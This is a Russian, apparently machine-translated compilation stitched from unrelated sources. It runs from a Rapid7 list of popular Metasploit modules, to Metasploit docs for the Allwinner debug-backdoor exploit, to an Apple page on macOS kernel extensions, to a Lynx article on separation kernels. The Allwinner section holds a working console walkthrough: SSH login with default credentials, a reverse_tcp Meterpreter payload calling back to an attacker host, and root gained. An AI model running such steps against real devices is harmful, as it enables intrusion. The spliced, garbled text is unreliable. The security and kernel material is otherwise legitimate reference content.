В Rapid7 нас часто спрашивают, какие 10 лучших модулей Metasploit. На этот вопрос сложно ответить: что вообще означает «верх»? Это личное мнение или то, что используется в индустрии? Поскольку многие пользователи Metasploit работают в высокочувствительных средах, и поскольку мы уважаем конфиденциальность наших пользователей, продукт не отправляет нам никаких отчетов об использовании.
Возможно, мы нашли способ ответить на ваши вопросы: мы посмотрели на наш metasploit.com, в частности, по вспомогательной базе данных Metasploit и базе данных эксплойтов, страницы с эксплойтами и модулями изучались больше всего. Вот они, снабженные превосходными комментариями Тода Бердли:
- MS12-020 Использование удаленного рабочего стола Microsoft после освобождения DoS (CVE-2012-0002, MSB-MS12-020): Это ошибка RDP 2012 года, где предполагалось, но никогда не доказывалось публично, что ошибка предварительной авторизации в RDP может позволить удаленное выполнение кода. Это, вероятно, самый популярный модуль, который у нас есть, как из-за предвзятости к новизне, так и из-за необычного уровня спонтанной организации сообщества разработчиков Metasploit для поиска правильного пути к удаленному выполнению кода.Пока еще никто не получил RCE (публично), но модуль Metasploit предоставляет больше всего подсказок.
- Повреждение стека относительного пути службы Microsoft Server (CVE-2008-4250, MSB-MS08-067): Уязвимость четырехлетней давности, которая, как правило, дает самые надежные оболочки в Windows 2003 Server и Windows XP. У него также есть отличная куча целевых языковых пакетов. Все эксплойты Metasploit предоставляют шелл-код, ориентированный на английский (США), некоторые могут предоставлять китайский, испанский, французский или другие популярные языки; у этого есть цели практически на всех языках, о которых вы когда-либо слышали.Этот эксплойт тоже не древний, поэтому разумно ожидать, что некоторые незащищенные системы на средних и крупных предприятиях будут уязвимы для него.
- Служба Microsoft Server NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): Уязвимость шестилетней давности, примечательная тем, что в Windows NT 4.0 для нее нет официального патча от Microsoft. Это было обнаружено после того, как NT подошла к концу, поэтому, если вам нужен удаленный root на NT-машине (а их еще много), это будет ваш первый выбор.
- Переполнение интерфейса Microsoft RPC DCOM (CVE-2003-0352, MSB-MS03-026): Уязвимость девятилетней давности, которая раньше была стандартным эксплойтом де-факто для компьютеров Windows — это ошибка RPC DCom, и это влияет на древние NT-машины. Наиболее примечательным он был тем, что его использовали черви Blaster и Nachi для транзита сетей. Сейчас это в значительной степени пример переполнения буфера стека в Windows, так что он имеет большую историческую ценность. Если не изменяет память, это был самый надежный эксплойт в Metasploit v2.
- Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop (CVE-2010-0017, MSB-MS10-006): Не уверен, почему этот модуль популярен — это DoS на стороне клиента. Исторически сложилось так, что это изящный DoS, поскольку он демонстрирует ошибку в ядре Windows 7, но все, что делает модуль, — это сбой клиентов Windows 7 после того, как вы заставите пользователя подключиться к вам.
- Adobe PDF Embedded EXE Social Engineering (CVE-2010-1240): Этот модуль использует CVE-2010-1240 в Adobe Reader. Идея состоит в том, что вы можете встроить и запустить исполняемый файл Meterpreter PE в PDF-файле, и когда пользователь откроет PDF-файл, неожиданные оболочки! Поскольку он в этом списке, это, вероятно, самый популярный модуль в стиле социальной инженерии.
- Apache mod_isapi <= 2.2.14 Dangling Pointer (CVE-2010-0425): Хотя это эксплойт в Apache, не дайте себя обмануть! Его можно использовать только в Windows (так что это выбивает самую большую часть установок Apache на момент выпуска этого модуля), и это всего лишь DoS. Опять же, загадка, почему это так популярно.
- Уязвимость Java AtomicReferenceArray, связанная с нарушением типа (CVE-2012-0507): Первоначально это было обнаружено в дикой природе как Java 0-day, и этот модуль представляет собой лихорадочную работу sinn3r и Хуана Васкеса, которые оказались первыми надежными публичный кроссплатформенный эксплойт для ошибки.В сообщении блога «CVE-2012-0507 — Java Strikes Again» показан снимок экрана сеансов Meterpreter в системах Windows, Ubuntu и OSX. Фактически, это может быть первый публично демонстрируемый эксплойт Java, который просто работает на всех трех платформах для уязвимых версий Java — никакой дополнительной настройки или снятия отпечатков пальцев не требуется.
- Выполнение кода пользователя с аутентификацией в Microsoft Windows (CVE-1999-0504): Модуль PSExec — это служебный модуль — при наличии имени пользователя и пароля SMB с достаточными привилегиями на целевой машине пользователь может получить оболочку.Это не сексуально, но очень удобно для тестирования полезной нагрузки и настройки. Несмотря на то, что это скромный модуль №9, я готов поспорить, что это наиболее часто используемый модуль в классе и тестовой среде.
- Microsoft Plug and Play Service Overflow (CVE-2005-1983, MSB-MS05-039): Эксплойт использует службу Plug and Play в Windows 2000. Это эксплойт, который был заменен MS06-040, хотя до MS06-040 , это был самый надежный эксплойт для Windows 2000. Его использовал червь Zotob. Обратите внимание, что, хотя эксплойт не является 100% надежным, неудачные попытки имели тенденцию вызывать перезагрузку целевого объекта, поэтому следующая попытка будет 100% успешной.Другими словами, для некоторых людей перезагрузка при сбое на самом деле является скорее функцией, чем ошибкой.
Сообщите нам, если вы найдете этот рейтинг интересным, и мы сможем поделиться им в будущем. Мы очень рады видеть, как этот список будет выглядеть в следующем месяце и какие будут основные изменения!
Если вы хотите использовать любой из этих эксплойтов прямо сейчас, вы можете бесплатно скачать Metasploit!
metasploit-framework / allwinner_backdoor.md at master · rapid7 / metasploit-framework · GitHub
Введение
уязвимых чипов Allwinner SoC: h4, A83T или H8, которые полагаются на ядро 3.4 Уязвимая ОС: все образы ОС, доступные для Orange Pis, любой для FriendlyARM’s NanoPi M1, M2 + и M3 SinoVoip, Cubietruck + компании Cuebietech Linksprite’s pcDuino8 Uno Возможна эксплуатация против планшетов Dragon (x10) и Allwinner Android
Этот модуль пытается использовать повышение привилегий отладочного бэкдора в устройствах на базе Allwinner SoC. Реализует повышение привилегий Allwinner, как описано в выпуске Metasploit №6869. Это простой модуль ядра отладки, который, когда «rootmydevice» передается процессу, расширяет оболочку до уровня root.
Использование
Для использования этого модуля вам понадобится уязвимое устройство. Orange Pi (модель ПК) с Lubuntu 14.04 v0.8.0 работает, но другие ОС для этого устройства (а также другие устройства) также уязвимы.
-
использовать вспомогательный / сканер / ssh / ssh_login
вспомогательный msf (ssh_login)> установить имя пользователя orangepi
имя пользователя => orangepi
вспомогательный msf (ssh_login)> установить пароль orangepi
пароль => orangepi
вспомогательный msf (ssh_login)> установить rhosts 192.168.2.21
rhosts => 192.168.2.21
вспомогательный msf (ssh_login)> эксплойт
[*] 192.168.2.21:22 SSH - Запуск брутфорса
[+] 192.168.2.21:22 SSH - Успех: 'orangepi: orangepi' uid = 1001 (orangepi) gid = 1001 (orangepi) groups = 1001 (orangepi), 27 (sudo), 29 (audio) Linux orangepi 3.4. 39 # 41 SMP PREEMPT Вс, 21 июня 13:09:26 HKT 2015 armv7l armv7l armv7l GNU / Linux '
[!] Нет активной БД - Учетные данные не сохранятся!
[*] Сеанс командной оболочки 1 открыт (192.168.2.229:33673 -> 192.168.2.21:22) в 2016-05-17 21:55:27 -0400
[*] Просканирован 1 из 1 хоста (выполнено 100%)
[*] Выполнение вспомогательного модуля завершено
-
используйте exploit / multi / local / allwinner_backdoor
эксплойт msf (allwinner_backdoor)> установить подробное значение true
подробный => верно
msf exploit (allwinner_backdoor)> установить сеанс 1
сессия => 1
msf exploit (allwinner_backdoor)> установить полезную нагрузку linux / armle / meterpreter / reverse_tcp
полезная нагрузка => Linux / armle / meterpreter / reverse_tcp
msf exploit (allwinner_backdoor)> установить lhost 192.168.2.117
lhost => 192.168.2.117
эксплойт msf (allwinner_backdoor)> проверить
[*] Цель кажется уязвимой.
эксплойт msf (allwinner_backdoor)> эксплойт
Успешная эксплуатация:
[*] Запущен обратный обработчик TCP на 192.168.2.117:4444
[*] Передача промежуточного stager ... (136 байт)
[*] Отправка этапа (374540 байт) на 192.168.2.248
[+] Бэкдор обнаружен, данные записываются в /tmp/odzVx.elf
[*] Максимальная длина строки 65537
[*] Запись 284 байта в 1 фрагмент по 843 байта (в восьмеричной кодировке) с использованием printf
[+] Эскалация
[*] Передающий промежуточный стейджер... (136 байт)
[*] Отправка этапа (374540 байт) на 192.168.2.248
[*] Сеанс Meterpreter 2 открыт (192.168.2.117:4444 -> 192.168.2.248:49472) в 2016-09-22 21:56:50 -0400
meterpreter> getuid
Имя пользователя сервера: uid = 0, gid = 0, euid = 0, egid = 0
meterpreter> sysinfo
Компьютер: 192.168.2.248
ОС: Ubuntu 14.04 (Linux 3.4.39)
Архитектура: armv7l
Meterpreter: armle / linux
Расширения ядрав macOS — служба поддержки Apple
Начиная с macOS 11, если включены сторонние расширения ядра (kexts), они не могут быть загружены в ядро по запросу.Они требуют одобрения пользователя и перезапуска macOS для загрузки изменений в ядро, а также требуют, чтобы безопасная загрузка была настроена на пониженную безопасность.
Важно: Kexts больше не рекомендуются для macOS. Kexts рискует целостностью и надежностью операционной системы, и пользователи должны предпочесть решения, не требующие расширения ядра.
Добавление kexts на Mac с Apple Silicon
Тип регистрации MDM | Метод утверждения | ||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|
Пользователь не зарегистрирован | 365 90 для восстановления для управления|||||||||||
Регистрация пользователя | Пользователь должен перезапустить recoveryOS, чтобы понизить настройки безопасности.Пользователь должен нажать и удерживать кнопку питания для перезапуска в recoveryOS и аутентификации в качестве администратора. Secure Enclave примет изменение политики только после входа в recoveryOS с помощью нажатия кнопки питания. Затем пользователь должен выбрать «Пониженная безопасность», установить флажок «Разрешить пользователю управлять расширениями ядра от определенных разработчиков» и перезапустить Mac. | ||||||||||
Регистрация устройства | Решение MDM должно уведомлять пользователя, что он должен перезапустить в recoveryOS, чтобы понизить настройки безопасности.Пользователь должен нажать и удерживать кнопку питания для перезапуска в recoveryOS и аутентификации в качестве администратора. Secure Enclave примет изменение политики только после входа в recoveryOS с помощью нажатия кнопки питания. Затем пользователь должен выбрать «Пониженная безопасность», установить флажок «Разрешить удаленное управление расширениями ядра и автоматические обновления программного обеспечения» и перезагрузить Mac. Обратитесь к поставщику MDM, чтобы узнать, поддерживают ли они эту функцию. | ||||||||||
Автоматическая регистрация устройств (Серийный номер отображается в Apple School Manager или Apple Business Manager, и Mac автоматически регистрируется в MDM) | Решения MDM могут управлять этим автоматически. Обратитесь к поставщику MDM, чтобы узнать, поддерживают ли они эту функцию. |
Добавление kexts на Mac на базе Intel с macOS 11
Тип регистрации MDM | Метод утверждения | ||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|
Регистрация устройств Автоматическая регистрация устройств | Каждый раз, когда устанавливается новый kext и происходит попытка его загрузки, перезагрузка должна быть инициирована одним из следующих способов:
Примечание: Профиль списка разрешений kext должен быть сначала установлен MDM с указанием kext. |
Расширения ядра с защитой целостности системы
Если включена защита целостности системы (SIP), подпись каждого kext проверяется перед включением в AuxKC.
Если SIP отключен, подпись kext не применяется.
Этот подход позволяет потокам Permissive Security для разработчиков или пользователей, не участвующих в программе Apple Developer Program, тестировать kexts до их подписания.
Альтернативы kexts (macOS 10.15 или новее)
macOS 10.15 позволяет разработчикам расширять возможности macOS, устанавливая и управляя расширениями системы, которые работают в пространстве пользователя, а не на уровне ядра.Работая в пользовательском пространстве, системные расширения повышают стабильность и безопасность macOS. Несмотря на то, что kexts по своей сути имеют полный доступ ко всей операционной системе, расширениям, работающим в пользовательском пространстве, предоставляются только привилегии, необходимые для выполнения указанной ими функции.
Разработчики могут использовать платформы, включая DriverKit, EndpointSecurity и NetworkExtension, для написания драйверов USB и интерфейса пользователя, инструментов безопасности конечных точек (таких как защита от потери данных или другие агенты конечных точек), а также инструментов VPN и сети, и все это без необходимости писать kexts.Сторонние агенты безопасности следует использовать только в том случае, если они используют преимущества этих API или имеют надежную дорожную карту для перехода на них и отказа от расширений ядра.
Дата публикации: 14 декабря 2020 г.
|
|
Что такое разделительное ядро?
_______________
Создав как ядра разделения, так и операционные системы реального времени — и поддержав клиентов, использующих обе технологии в широком спектре отраслей — мы знакомы с плюсами и минусами каждой программной технологии, а также с их безопасностью, безопасностью, надежностью и адаптируемостью. влияние на сложные конструкции систем. Тем не менее, несмотря на то, что они обеспечивают значительные преимущества в области безопасности и защиты и являются основой некоторых из крупнейших в мире критически важных систем, ядра разделения остаются в значительной степени неизвестными и малоизученными.В этой статье мы надеемся:
- Внесите некоторую ясность в тему разделения ядер и операционных систем реального времени (ОСРВ) и встроенных гипервизоров
- Обсудите преимущества и недостатки использования ядра разделения в качестве программной основы проектирования встроенных систем
- Представляем LynxSecure ® , наше собственное ядро разделения
Ядро разделения — это особый тип гипервизора без оболочки, который выполняет только разделение .В частности, это крошечный фрагмент тщательно созданного кода (размером всего 15 КБ), который использует современные функции виртуализации оборудования для (1) определения фиксированных виртуальных машин (ВМ) и (2) управления информационными потоками.
Ядра разделения не содержат драйверов устройств, модели пользователя, доступа к оболочке и динамической памяти; все эти вспомогательные задачи передаются гостевому программному обеспечению, работающему на виртуальных машинах. Эта простая и элегантная архитектура приводит к минимальной реализации, которая, хотя и менее удобна для использования на настольных компьютерах, отлично подходит для встроенных систем реального времени и систем, критичных к безопасности.Однако ядро разделения — это гораздо больше, чем просто реализация минимального гипервизора.
СОВРЕМЕННОЕ ОБОРУДОВАНИЕСовременные многоядерные процессоры содержат богатый набор ресурсов. Помимо нескольких ядер, они включают периферийные устройства, память и расширенные функции виртуализации, которые позволяют рассматривать их как набор компонентов LEGO для создания конфигураций виртуальных машин (ВМ). Хотя эти современные аппаратные технологии широко используются в облачных центрах обработки данных, они часто плохо поддерживаются ОСРВ и встроенными гипервизорами.
Ядра разделениямогут использоваться для разделения аппаратных ресурсов процессора на виртуальные машины с высоким уровнем надежности, которые защищены от взлома и обхода, а также для настройки строго контролируемых информационных потоков между виртуальными машинами и периферийными устройствами, так что виртуальные машины изолированы , за исключением случаев, когда явно разрешено . Ядро разделения можно рассматривать как «систему разделения процессора», которая позволяет разработчикам встроенных систем раскрыть преимущества современных полнофункциональных многоядерных процессоров.
Рисунок 1: 2D + 3D виды ОСРВ в сравнении с архитектурой ядра разделения
ПРЕДСТАВЛЕНИЕ модульных открытых систем (MOSA)Реализовано правильно, ядра разделения:
- Упростите анализ безопасности и сохранности
- Усиление гарантийных свойств
- Увеличить контроль оборудования
- Разблокируйте варианты дизайна модульной системы, недоступные в традиционных архитектурах операционных систем (ОС)
Ядра разделения позволяют расширять и эффективно применять принципы проектирования MOSA.Благодаря разделению на основе ядра модули виртуальных машин для диагностики операционной системы (ОС) избегают привязки к поставщику и поддерживают более широкий спектр нагрузок на ОС; от «голого железа» до ОСРВ и корпоративной ОС. Свобода дизайна и гибкость увеличены, что позволяет использовать комбинацию «Златовласки» из , как раз достаточно для использования RTOS . В этом смысле ядра разделения способствуют выбору, позволяя объединить большее количество комбинаций технологий.
Прочтите: LYNX MOSA.ic ™ — реализация подхода модульных открытых систем (MOSA)
История
ПРОЕКТИРОВАНИЕ И ПРОВЕРКА СИСТЕМ БЕЗОПАСНОСТИКонцепция ядра разделения была впервые описана Джоном Рашби в его статье 1981 года «Проектирование и проверка защищенных систем».Рашби пишет:
«… задача ядра разделения — создать среду, неотличимую от среды, предоставляемой физически распределенной системой: она должна выглядеть так, как если бы каждый режим был отдельной изолированной машиной, и эта информация может поступать только с одной машины. другому по известным внешним линиям связи ».
Рашби считает, что разделение слишком важно для управления ОС. Операционная система большая, сложная и отвечает за многие вещи, поэтому ее чрезвычайно сложно сделать «водонепроницаемой» с точки зрения безопасности.Он понял, что лучший способ построить безопасную компьютерную систему — это вынести управление разделением из ОС в новый тип ядра, ориентированный исключительно на разделение. Он назвал это новое ядро ядром разделения. Ядро разделения должно быть небольшим и достаточно простым, чтобы его можно было тщательно изучить и полностью понять до такой степени, чтобы было формально доказано, что его правильность. В 1982 году Рашби в своей книге «Доказательство разделимости» описал, как использовать формальные методы для математической проверки правильности такого ядра разделения.
Варианты использования ядраSeparation изначально были безопасными рабочими станциями, отвечающими за высокозащищенные правительственные приложения и приложения Министерства обороны, требующие разделения на категории совершенно секретной, секретной и конфиденциальной информации. Затем последовали встроенные военные сетевые системы связи, такие как защищенные радиошлюзы, а в последнее время ядра разделения нашли применение в качестве превосходного гипервизора во встроенных системах и в критически важных для безопасности системах авионики, стремящихся к более сильному разделению для управления многоядерными помехами.Несмотря на это, ядро разделения остается понятие ниши только действительно признанное в индустрии безопасности.
станы, общие критерии, и SKPPНесколько независимых уровней безопасности (мила) является архитектура безопасности с высокой степенью надежности предназначена для обеспечения смешанных приложения безопасности, которые будут размещены на общей компьютерной технике. В Общие критерии безопасности информационных технологий Оценка (ISO / IEC 15408) является международным стандартом для ИТ-продуктов.Общие критерии определяют уровни гарантии оценки безопасности (EAL) в диапазоне от EAL1 (наименее безопасный) до EAL7 (наиболее безопасный), чтобы описать уровень безопасности, достигнутый целями безопасности (компонентами), которые оцениваются (тестируются) по профилю защиты.
В течение нескольких лет, начиная с 2007 года, общие критерии включали профиль для ядер разделения, называемый Separation Kernel Protection Profile (SKPP), который поставщики операционных систем реального времени (RTOS), такие как Lynx, Wind River Systems и Green Hills Программное обеспечение для создания продуктов в направлении.Несмотря на прочное понятие, SKPP, к сожалению, закат в 2011 годе НИАПА после проблем с первой оценкой. В Common Criteria остается полезным стандартом, но никакие дальнейшие оценки SKPP не будут приняты, и SKPP фактически мертва. Вместо этого НИАП напрямую поддерживает процесс сертификации и аккредитации для критически важных систем. NIST Special Publication 800-53, «Безопасность и конфиденциальность управления для Федеральной информационной системы и организации» является более общим подходом безопасности, который частично заполняет пробел SKPP.
Без стандарта для измерения надежности системы безопасности ядер разделения, MILS более или менее не удалось. Мир является менее безопасным местом без стандарта, как в SKPP, к сожалению, и любая реализация виртуализации может претендовать на охрану или быть ядром разделения.
Разделение ядра против гипервизоров RTOS на основе
ТЕРМИНОЛОГИЯType-1 гипервизоров более желательны, чем 2-го типа, так как они меньше, быстрее и безопаснее.Таким образом, если вы приняты на что-нибудь менее общего назначения (ОС, как Windows), выгодно называть себя 1-го типа. Этот термин был чрезмерно используется, однако, такие, что все организовано на менее чем GUI-менее предприятие Linux описываются как тип-1. Как мы увидим, разделение ядра, как описано Джон Рашби-еще меньше и более безопасным, чем в других гипервизоров.
Разделение ядра появляется похоже на традиционный Type-1 гипервизор RTOS на основе, и эти термины часто сплавлены.Многие операционные системы и RTOSes были продлен, чтобы сделать их в гипервизоров и описаны либо как ядра разделения, Type-1 гипервизоров, голый металл гипервизоров, встроенных гипервизоров, или в режиме реального времени гипервизоров. По мнению рыси, это все организовано гипервизора, то есть 2-го типа гипервизора. Даже если хост-OS небольшой RTOS это до сих пор ОС . Lynx считает, что ядра разделения являются единственными не-прошла, то есть, голый металл, гипервизор реализации. Это важное различие, которое производители ОСРВ хотят стираться, потому что это помогает им продавать больше RTOSes и блокирует их RTOS глубоко в основу вашей встраиваемой системы.
Разделение ядра не имеют бизнес брать на вспомогательных функций RTOS. Даже если эти функции действительно мало (так как они находятся в RTOS), это не их размера, что имеет значение, но их полное отсутствие, что делает ядро разделения чистым, безопасным, надежным и RTOS-агностик.
COMMON Hypervisor АРХИТЕКТУРАПросто о всех гипервизоров следовать централизованной открытой архитектурой. Это включает в себя «голый металле» тип 1, тип 2, «встроенный» и «в реальное время» гипервизор.Они централизованы, так как они построены вокруг центральной «эталонной ОС» (или RTOS), которая владеет аппаратными ресурсами и управляет виртуальными машинами. Они открыты, так как они в состоянии принять любую ОС в их виртуальных машинах. На рынке встраиваемых систем, практически все гипервизоров являются RTOSes, которые были расширены в гипервизор. Использование такого гипервизор часто означает, что вы вынуждены принимать (по крайней мере, урезанную версию) ОСРВ поставщика, даже если все гости исключительно с открытым исходным кодом.
Обычно это делается по 3 причинам:
- Это позволяет гипервизору использовать существующий каталог поставщиков ОСРВ BSP, снижая стоимость BSP.
- Это проще создавать виртуальные машины внутри ОСРВ, которому принадлежит все ядра процессора, всю память и все устройства, чем написать ядро разделения
- Поставщик RTOS компилированные инструменты (IDE и компилятор) часто упаковывают с гипервизора
Рисунок 2: Общие RTOS / гипервизора архитектуры
RTOS НА ОСНОВЕ гипервизоровИ гипервизоры на основе ОСРВ, и ядра разделения основаны на одних и тех же расширениях аппаратной виртуализации, но в гипервизоре ОСРВ присутствует значительно больше кода.Он будет содержать драйверы устройств, динамическую кучу памяти и доступ к оболочке с паролем для доступа к интерпретатору команд для создания, просмотра и запуска виртуальных машин. Планировщик RTOS будет там, планируя как задачи, так и виртуальные машины. У вас также может быть консольный мультиплексор для получения удобного доступа к гостевым консолям виртуальных машин и виртуальные сетевые службы, позволяющие виртуальным машинам совместно использовать физическую сетевую карту (nic). Этот код является обязательством безопасности и неприемлем в ядре разделения.
Единственный код, который является общим для ядра разделения и гипервизора на основе ОСРВ, — это код, который настраивает виртуальные машины.В ядре разделения эта работа выполняется во время загрузки, и — по соображениям безопасности — код «выбрасывается» после настройки виртуальных машин. Вот почему конфигурация виртуальной машины ядра разделения статична — потому что код для ее изменения очищается после загрузки.
Весь этот дополнительный код в гипервизоре на основе ОСРВ представляет собой поверхность атаки, представляющую угрозу безопасности. Это код, работающий на привилегированном уровне гипервизора, который в случае сбоя может нарушить безопасность системы. Этот код также невероятно велик, чтобы формально доказать его правильность.Этот вспомогательный код ценен и предоставляет полезные функции, но в соответствии с архитектурой ядра разделения он не должен находиться в гипервизоре, а вместо этого загружаться в гостевые виртуальные машины. Подход, основанный на минимальном коде на руководящей должности, известен как принцип наименьших привилегий. Микроядра ОС следуют одному и тому же шаблону проектирования, то есть выталкивают вспомогательные компоненты операционной системы из пространства ядра в пространство пользователя.
РАСПРЕДЕЛЕННАЯ ОТКРЫТАЯ АРХИТЕКТУРАЯдра разделения продвигают архитектуру распределенных открытых систем.Он распространяется, поскольку нет главной ОСРВ, которая владеет всеми аппаратными ресурсами. Другими словами, не существует ОСРВ «гаишника», у которой другое программное обеспечение в системе должно запрашивать время ЦП, память и доступ к устройствам ввода-вывода через свои API. Вместо этого ядро разделения — это набор обработчиков и конечный автомат, который предоставляет гостевой ОС подмножество ядер, памяти и устройств реального ЦП в качестве виртуальной машины.
Система распределена в том смысле, что главная ОСРВ исключается, а предоставляемые ею услуги распределяются по виртуальным машинам.Каждая виртуальная машина способна запускать комбинацию «Златовласки» из — ровно столько, чтобы RTOS выполняло свою работу и отвечало потребностям вашего проекта, будь то стоимость, безопасность, совместимость, детерминизм, безопасность, повторное использование или долговечность. ВМ без операционной исходные ОСРВ, такие как FreeRTOS или Micrium µC / OS.Любую комбинацию таких виртуальных машин можно объединить в систему, чтобы избежать универсального компромисса, связанного с выбором одной главной ОСРВ. Ваши возможности открыты, многочисленны и более приятны, чем привязанность к RTOS.
АРХИТЕКТУРА МОДУЛЬНЫХ СИСТЕМПри соблюдении дисциплины любая программная система может быть построена с модульной системной архитектурой; то есть разложены на компоненты с четко определенными интерфейсами и обязанностями. Хорошее программное обеспечение создается таким образом, но проблема в том, что только дисциплина удерживает его таким.Программисты кодируют переменные, API и область действия, которая создает модульную архитектуру системы. Без дисциплины они могут так же легко создавать ярлыки, глобальные переменные и побочные интерфейсы, которые ее обходят. Такие обходы создают сюрпризы и скрытые зависимости, которые, если позволить им накапливаться в течение многих лет, приводят к тому, что система становится громоздкой и ненадежной.
Вместо того, чтобы строить модульную структуру на процессах в пределах ОСРВ, вы можете выйти из мира ОС и создать вспомогательные программные модули в качестве виртуальных машин ядра разделения.Такие виртуальные машины выигрывают от аппаратного обеспечения их интерфейсов. Таким образом, ядро разделения определяет, какие области памяти доступны виртуальной машине, какие доступны только для чтения, какие доступны для чтения и записи, а какие используются совместно с другими виртуальными машинами. Это определение устанавливается в MMU ядром отделения от привилегированного режима гипервизора и не может быть изменено или обойдено виртуальной машиной. Периферийные устройства, такие как последовательные порты, сетевые интерфейсы, графика и устройства хранения, также выделяются виртуальным машинам, и доступ обеспечивается ядром разделения с использованием оборудования (путем программирования контроллера прерываний и IOMMU).Таким образом, можно построить высокомодульную архитектуру программной системы с эффективным и надежным соблюдением границ модуля.
ОБЩАЯ ВИРТУАЛЬНАЯ МАШИНА BSPSГостевые операционные системы (GOS), работающие внутри виртуальных машин, по-прежнему требуют пакетов поддержки плат (BSP), чтобы адаптировать их к карте памяти виртуальной машины и периферийным устройствам. Но ядро разделения может сыграть изящный трюк и сопоставить один и тот же минимальный набор памяти, последовательный порт и виртуальный ник с одними и теми же адресами, чтобы общий RTOS BSP можно было повторно использовать для разных целевых плат.Этот BSP представляет собой рабочую базовую линию, которую легче расширить (а не начинать с нуля) для поддержки устройств, специфичных для конкретной целевой платы.
АППАРАТНЫЕ РЕСУРСЫПобочным эффектом использования ядра разделения является необходимость более внимательного отношения к аппаратным ресурсам. Операционные системы пытаются абстрагироваться от оборудования и сделать его бесконечным. Виртуальная память создает видимость безграничной оперативной памяти, а fork () создает видимость безграничных ресурсов ЦП, что является важной функцией ОС, обеспечивающей переносимость приложений на настольных и серверных компьютерах.
Как разработчик, использующий ядро разделения, вы должны выделять аппаратные ресурсы виртуальным машинам статически во время загрузки, и любое совместное использование должно быть организовано специально. Обычно используется 1 ядро ЦП на виртуальную машину, и полезно иметь дополнительные сетевые и последовательные порты для доступа к вашим виртуальным машинам. Конечно, IPC между виртуальными машинами, а также виртуальные устройства и ядра ЦП с квантованием времени поддерживаются, но дело в том, что ядро разделения, ну, разделяет вещи. Это может быть менее удобно, если вы привыкли ко всему, что доступно в пределах одной глобальной области действия ОСРВ.Аппаратные ресурсы, особенно встраиваемые, всегда ограничены. В Lynx мы считаем, что для разработчиков встраиваемых систем полезно хорошо знать ограничения своего оборудования. Без такого понимания слишком легко перегрузить оборудование.
Прочтите: вам нужна операционная система реального времени (RTOS)?
НАКЛАДКИ ДЛЯ ГОСТЕЙ ОСGOS, работающие в виртуальной машине с ядром разделения, не должны знать, что они виртуализированы. У них есть прямой аппаратный контроль над ядром процессора, собственным MMU и собственной периферией.Они могут успешно работать в режиме ядра и программировать свой MMU как обычно, чтобы настроить собственное пользовательское пространство для запуска пользовательских процессов. В солнечный день работы гипервизора нет. Это позволяет запускать GOS без изменений, что является чрезвычайно мощной функцией. Lynx успешно запускает Windows 7, Windows 10, CentOS, Ubuntu и Android на LynxSecure. Любое дополнительное программное обеспечение, необходимое для GOS, например BIOS, помещается в виртуальную машину вместе с GOS. Встроенные ОС, такие как FreeRTOS, ETAS RTA-OS, BAE STOP ™ OS, LynxOS-178®, Buildroot Linux, Yocto Linux, Xilinx PetaLinux, также работают на LynxSecure.Эта установка работает на удивление хорошо, оказывается, что содержимое ОС работает на ограниченных аппаратных подмножествах.
LYNX
БЕЗОПАСНЫЙ ® ВВЕДЕНИЕLynxSecure® — это разделительное ядро, описанное Джоном Русби в его статье 1981 года «Проектирование и проверка защищенных систем». LynxSecure®, впервые выпущенный как отдельный продукт в 2006 году, представляет собой зрелый и широко применяемый продукт, разработанный Lynx Software Technologies. После первоначального развертывания в правительственных приложениях с высокой степенью надежности продукт был массово развернут в критически важных коммерческих и промышленных приложениях, а также в различных секторах рынка, включая автомобилестроение, авионику, промышленный Интернет вещей, робототехнику, транспорт и беспилотные летательные аппараты.LynxSecure® нашел применение в качестве превосходного гипервизора во встроенных системах и в критически важных для безопасности системах авионики, где требуется более сильное разделение для управления многоядерными помехами. LynxSecure поддерживает целевые системы под управлением Intel x86, Arm и PowerPC. Lynx Software Technologies имеет контракт на сертификацию безопасности LynxSecure® в соответствии с RTCA DO-178C DAL-A. Lynx также предлагает пакет сертификации безопасности NIST SP 800-53 для LynxSecure®.
ОБОРУДОВАНИЕ ДЛЯ ВИРТУАЛИЗАЦИИНа Intel x86 ядро разделения LynxSecure® использует VT-x, EPT * , VT-d † и SR-IOV для обеспечения вложенного управления ЦП, вложенного управления MMU, изоляции DMA и вложенного управления DMA.Гипервизор работает в кольце -1 (режим гипервизора VT-x) и создает виртуальные машины путем сопоставления памяти, периферийных устройств, прерываний и DMA ядрам ЦП. Использование оборудования для выполнения тяжелой работы эффективно и элегантно, и в результате LynxSecure представляет собой крошечный (45 КБ на x86), но тщательно продуманный фрагмент аппаратного кода. При запуске задача LynxSecure — настроить свои виртуальные машины, а затем уйти с дороги. В процессе работы все, что осталось, — это таблицы страниц для сопоставления гостевых физических адресов (GPA) с физическими адресами хоста (HPA) и обработчики событий для перенаправления прерываний и обработки гостевых гипервызовов, таких как сброс или отключение питания.
Те же аппаратные функции, которые использует LynxSecure (VT-x, EPT, VT-d и SR-IOV), уже активно используются для облачных вычислений в центрах обработки данных. В этих системах большие стеки программного обеспечения на основе Linux, такие как OpenStack, позволяют виртуальным машинам, на которых запущены веб-серверы Интернета, динамически разворачиваться и опускаться в ответ на изменение спроса на интернет-трафик. Такие системы имеют пулы виртуального хранилища, вычислительные и сетевые ресурсы, которые склеены в разных пропорциях для создания виртуальных машин, адаптированных для различных рабочих нагрузок.Так «работает» современный Интернет. Ядра разделения используют точно такую же проверенную технологию VT-x, EPT, VT-d и SR-IOV, но встроенным способом, который настраивает виртуальные машины при загрузке и блокирует их до отключения питания.
LYNXSECURE НА ПРАКТИКЕКак вы работаете с LynxSecure на практике? Каков рабочий процесс, позволяющий настроить целевую машину, виртуальные машины и GOS по своему усмотрению? Оба эти вопроса представляют собой отличные вопросы, поскольку использование ядра разделения — это сдвиг парадигмы. Вам больше не нужен просто пакет поддержки платы (BSP), чтобы передать управление вашим оборудованием RTOS.Вместо этого ваше ядро разделения должно запускаться первым.
Настройка LynxSecure — это двухэтапный процесс:
- Используйте утилиту обнаружения оборудования Lynx для получения каталога оборудования от цели. Это загрузочная утилита на x86, которая считывается из файла дерева устройств целевой платы (DTF) на Arm и PowerPC .
- Используйте наш язык моделирования для определения виртуальных машин, выделяя ресурсы из каталога (ядра, оперативную память, устройства) и заполняя виртуальные машины образами ОС
